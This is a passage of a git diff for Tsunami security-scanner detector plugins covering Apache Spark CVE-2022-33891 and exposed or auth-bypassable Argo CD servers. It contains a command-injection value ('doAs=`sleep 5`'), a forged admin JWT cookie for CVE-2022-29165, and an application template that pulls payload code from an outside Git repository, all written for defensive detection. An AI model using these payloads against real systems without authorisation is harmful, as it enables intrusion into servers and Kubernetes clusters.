b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java @@ -17,7 +17,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import com.google.common.base.Stopwatch; import com.google.common.collect.ImmutableList; @@ -84,32 +83,13 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve202233891VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) .build(); } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); - } - - private static StringBuilder buildTarget(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - targetUrlBuilder - .append("https://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - return targetUrlBuilder; - } - private boolean isServiceVulnerable(NetworkService networkService) { return isRceExecutable(networkService); } @@ -121,7 +101,10 @@ private boolean isRceExecutable(NetworkService networkService) { logger.atInfo().log("Callback server is available!"); payload = generateCallbackServerPayload(); String targetUri = - buildTarget(networkService).append("?doAs=`" + payload.getPayload() + "`").toString(); + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + "?doAs=`" + + payload.getPayload() + + "`"; var request = HttpRequest.get(targetUri).withEmptyHeaders().build(); try { @@ -137,7 +120,8 @@ private boolean isRceExecutable(NetworkService networkService) { // If there is no callback server available, try sleep logger.atInfo().log("Callback server is not available!"); Stopwatch stopwatch = Stopwatch.createUnstarted(); - String targetUri = buildTarget(networkService).append("?doAs=`sleep 5`").toString(); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "?doAs=`sleep 5`"; var request = HttpRequest.get(targetUri).withEmptyHeaders().build(); try { stopwatch.start(); diff --git a/community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetector.java b/community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetector.java index 9568382de..c2af3f696 100644 --- a/community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetector.java +++ b/community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetector.java @@ -113,7 +113,7 @@ private DetectionReport buildDetectionReport( Vulnerability.newBuilder() .setMainId( VulnerabilityId.newBuilder() - .setPublisher("Community") + .setPublisher("TSUNAMI_COMMUNITY") .setValue("Apache_Spark_Exposed_WebUI")) .setSeverity(Severity.MEDIUM) .setTitle( diff --git a/community/detectors/apache_spark_exposed_webui/src/test/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorTest.java b/community/detectors/apache_spark_exposed_webui/src/test/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorTest.java index ccc4742a1..6d3d05ceb 100644 --- a/community/detectors/apache_spark_exposed_webui/src/test/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorTest.java +++ b/community/detectors/apache_spark_exposed_webui/src/test/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorTest.java @@ -110,7 +110,7 @@ public void detect_ifVulnerable_reportsVuln() throws IOException { Vulnerability.newBuilder() .setMainId( VulnerabilityId.newBuilder() - .setPublisher("Community") + .setPublisher("TSUNAMI_COMMUNITY") .setValue("Apache_Spark_Exposed_WebUI")) .setSeverity(Severity.MEDIUM) .setTitle( diff --git a/community/detectors/argocd_exposed_ui/README.md b/community/detectors/argocd_exposed_ui/README.md new file mode 100644 index 000000000..7eaf53ed1 --- /dev/null +++ b/community/detectors/argocd_exposed_ui/README.md @@ -0,0 +1,15 @@ +# Exposed Argo CD instances Detector + +This Tsunami plugin tests to see if the Argo CD Instances are misconfigured and +exposed. It Also Checks for CVE-2022-29165 which is an authentication bypass and +try to create a separate report for this Vulnerability. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/argocd_exposed_ui/build.gradle b/community/detectors/argocd_exposed_ui/build.gradle new file mode 100644 index 000000000..05b9f058a --- /dev/null +++ b/community/detectors/argocd_exposed_ui/build.gradle @@ -0,0 +1,69 @@ +plugins { + id 'java-library' +} + +description = 'Exposed Argo CD instances VulnDetector plugin.' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13' + okhttpVersion = '3.12.0' + truthVersion = '1.0.1' + guiceVersion = '4.2.3' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation 'com.google.auto.value:auto-value:1.10.4' + + testImplementation "junit:junit:${junitVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" +} diff --git a/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.jar b/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..2c3521197 Binary files /dev/null and b/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.properties b/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..d04736436 --- /dev/null +++ b/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/community/detectors/argocd_exposed_ui/gradlew b/community/detectors/argocd_exposed_ui/gradlew new file mode 100755 index 000000000..f5feea6d6 --- /dev/null +++ b/community/detectors/argocd_exposed_ui/gradlew @@ -0,0 +1,252 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s +' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/community/detectors/argocd_exposed_ui/gradlew.bat b/community/detectors/argocd_exposed_ui/gradlew.bat new file mode 100644 index 000000000..9d21a2183 --- /dev/null +++ b/community/detectors/argocd_exposed_ui/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/community/detectors/argocd_exposed_ui/settings.gradle b/community/detectors/argocd_exposed_ui/settings.gradle new file mode 100644 index 000000000..504db73ac --- /dev/null +++ b/community/detectors/argocd_exposed_ui/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'exposed_argocd_instance_detector' diff --git a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/Annotations.java b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/Annotations.java new file mode 100644 index 000000000..990484010 --- /dev/null +++ b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/Annotations.java @@ -0,0 +1,35 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.exposedui.argocd; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import javax.inject.Qualifier; + +/** Annotation for {@link ExposedArgoCdApiDetector}. */ +final class Annotations { + @Qualifier + @Retention(RetentionPolicy.RUNTIME) + @Target({PARAMETER, METHOD, FIELD}) + @interface OobSleepDuration {} + + private Annotations() {} +} diff --git a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java new file mode 100644 index 000000000..8c44676e6 --- /dev/null +++ b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java @@ -0,0 +1,432 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.exposedui.argocd; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.tsunami.common.net.http.HttpRequest.delete; +import static com.google.tsunami.common.net.http.HttpRequest.get; +import static com.google.tsunami.common.net.http.HttpRequest.post; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.gson.JsonParseException; +import com.google.gson.JsonParser; +import com.google.gson.JsonSyntaxException; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.NotImplementedException; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugins.detectors.exposedui.argocd.Annotations.OobSleepDuration; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionReportList.Builder; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects exposed ArgoCD API server. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + + // name of the plugin + name = "ExposedArgoCDDetector", + version = "0.1", + + // detailed description of the plugin + description = + "This plugin detects exposed and misconfigured ArgoCD API server." + + "Exposed Argo CD API servers allow attackers to access kubernetes clusters." + + "Attackers can change parameters of clusters and possibly compromise it.", + author = "JamesFoxxx", + bootstrapModule = ExposedArgoCdApiDetectorBootstrapModule.class) +public final class ExposedArgoCdApiDetector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private final PayloadGenerator payloadGenerator; + private final Clock utcClock; + private final HttpClient httpClient; + private final int oobSleepDuration; + + // The URL that host the payload as a git repository + // This url might be changed in the future, so I make it easy to change + private final String PAYLOAD_GIT_URL = "https://github.com/JamesFoxxx/argo-cd-app"; + // The Path to the directory of payload on the git repository + private final String PAYLOAD_GIT_PATH = "payloads/jsonnet-guestbook-tla"; + + // The JWT session value as a part of the CVE-2022-29165 payload + @VisibleForTesting + static final String PAYLOAD_ARGOCD_TOKEN_SESSION = + "argocd.token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9." + + "TGGTTHuuGpEU8WgobXxkrBtW3NiR3dgw5LR-1DEW3BQ"; + + // This is a template for creating an Argo CD application, we should fill four part of this + // payload. + private final String CREATE_APPLICATION_TEMPLATE = + "{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"Application\"," + + "\"metadata\":{\"name\":\"tsunami-security-scanner\"},\"spec\"" + + ":{\"destination\":{\"name\":\"\",\"namespace\":" + + "\"tsunami-security-scanner\",\"server\":" + + "\"%s\"},\"source\":{\"path\":" + + "\"%s\",\"repoURL\":" + + "\"%s\",\"targetRevision\":" + + "\"HEAD\",\"directory\":{\"jsonnet\":{\"tlas\":[{\"name\":" + + "\"payload\",\"value\":" + + "\"\\\"%s\\\"\"" + + ",\"code\":true}]}}},\"sources\":[],\"project\":\"%s\"," + + "\"syncPolicy\":{\"automated\":{\"prune\":false," + + "\"selfHeal\":false}}}}"; + + @Inject + ExposedArgoCdApiDetector( + HttpClient httpClient, + @UtcClock Clock utcClock, + PayloadGenerator payloadGenerator, + @OobSleepDuration int oobSleepDuration) { + this.httpClient = + checkNotNull(httpClient) + .modify() + .setFollowRedirects(true) + .build(); + this.utcClock = checkNotNull(utcClock); + this.payloadGenerator = checkNotNull(payloadGenerator); + this.oobSleepDuration = oobSleepDuration; + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("Starting exposed Argo CD API servers detection by out-of-band callback."); + + Builder detectionReport = DetectionReportList.newBuilder(); + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + // check if the services are vulnerable + // Build a DetectionReport when the Argo CD UI is exposed publicly by admin access otherwise + // check if it is vulnerable to CVE-2022-29165 + .forEach( + networkService -> { + if (isServicePubliclyExposed(networkService, true)) { + // Argo CD API server is exposed publicly without any authentication, and it is + // confirmed by receiving an out-of-band callback + detectionReport.addDetectionReports( + buildDetectionReport( + targetInfo, + networkService, + "Argo CD API server is misconfigured. " + + "The API server is not authenticated. " + + "All applications can be accessed by the public and therefore can be " + + "modified resulting in all application instances being compromised. " + + "The Argo CD UI does not support executing OS commands " + + "in the hosting machine at this time. " + + "We detected this vulnerable Argo CD API server by creating " + + "a test application and receiving out-of-band callback", + "Please disable public access to your Argo CD API server.", + Severity.CRITICAL)); + } else if (isServiceVulnerableToAuthBypass(networkService, true)) { + // Argo CD API server is vulnerable to CVE-2022-29165, and it is confirmed by + // receiving an out-of-band callback + detectionReport.addDetectionReports( + buildDetectionReport( + targetInfo, + networkService, + "Argo CD API server is vulnerable to CVE-2022-29165. The authentication of" + + " Argo CD API server can be bypassed and All applications can be" + + " accessed by public and therefore can be modified resulting in all" + + " application instances being compromised. The Argo CD UI does not" + + " support executing OS commands in the hosting machine at this time." + + " We detected this vulnerable Argo CD API server by receiving a HTTP" + + " response from an endpoint that needs authentication", + "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and" + + " 2.1.15. Please update Argo CD to these versions and higher.", + Severity.CRITICAL)); + } else if (isServicePubliclyExposed(networkService, false)) { + // Argo CD API server is exposed publicly without any authentication, and it is + // confirmed by receiving matching a http response body + detectionReport.addDetectionReports( + buildDetectionReport( + targetInfo, + networkService, + "Argo CD API server is misconfigured. The API server is not" + + " authenticated.We can't confirm that this API server has an admin" + + " role because we can't create a new application and receive an" + + " out-of-band callback from it, but we are able to receive some" + + " endpoint data without authentication", + "Please disable public access to your Argo CD API server.", + Severity.HIGH)); + } else if (isServiceVulnerableToAuthBypass(networkService, false)) { + // Argo CD API server is vulnerable to CVE-2022-29165, and it is + // confirmed by receiving matching a http response body + detectionReport.addDetectionReports( + buildDetectionReport( + targetInfo, + networkService, + "Argo CD API server is vulnerable to CVE-2022-29165. The authentication can" + + " be bypassed. We can't confirm that this API server has an admin" + + " role because we can't create a new application and receive an" + + " out-of-band callback from it, but we are able to receive some" + + " endpoint data without authentication", + "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and" + + " 2.1.15. Please update Argo CD to these versions and higher.", + Severity.HIGH)); + } + }); + return detectionReport.build(); + } + + /** Checks if a {@link NetworkService} has a misconfigured ArgoCD API server exposed. */ + private boolean isServicePubliclyExposed( + NetworkService networkService, boolean useOutOfBandCallBack) { + if (useOutOfBandCallBack) { + return checkExposedArgoCdWithOutOfBandCallback(networkService, HttpHeaders.builder()); + } else { + return checkExposedArgoCdWithResponseMatching(networkService, HttpHeaders.builder()); + } + } + + /** Checks if a {@link NetworkService} has a vulnerable ArgoCD API server to CVE-2022-29165. */ + private boolean isServiceVulnerableToAuthBypass( + NetworkService networkService, boolean useOutOfBandCallBack) { + HttpHeaders.Builder cookieHeader = + HttpHeaders.builder().addHeader("Cookie", PAYLOAD_ARGOCD_TOKEN_SESSION); + if (useOutOfBandCallBack) { + return checkExposedArgoCdWithOutOfBandCallback(networkService, cookieHeader); + } else { + return checkExposedArgoCdWithResponseMatching(networkService, cookieHeader); + } + } + + private boolean checkExposedArgoCdWithResponseMatching( + NetworkService networkService, HttpHeaders.Builder baseHeaders) { + logger.atInfo().log("Starting exposed Argo CD API servers detection by response matching."); + // the target URL of the target is built + String targetUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + + String targetUri = targetUrl + "api/v1/certificates"; + try { + // This is a blocking call. + HttpResponse response = + httpClient.send(get(targetUri).setHeaders(baseHeaders.build()).build(), networkService); + return response.status().isSuccess() + && response.bodyString().isPresent() + && response.bodyString().get().contains("\"items\"") + && response.bodyString().get().contains("\"metadata\""); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri); + return false; + } catch (JsonSyntaxException e) { + logger.atWarning().withCause(e).log( + "JSON syntax error occurred parsing response for target URI: '%s'.", targetUri); + return false; + } + } + + private boolean checkExposedArgoCdWithOutOfBandCallback( + NetworkService networkService, HttpHeaders.Builder baseHeaders) { + // the target URL of the target is built + String targetUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + + try { + // 1. Get the first Project name + String projectsUrl = targetUrl + 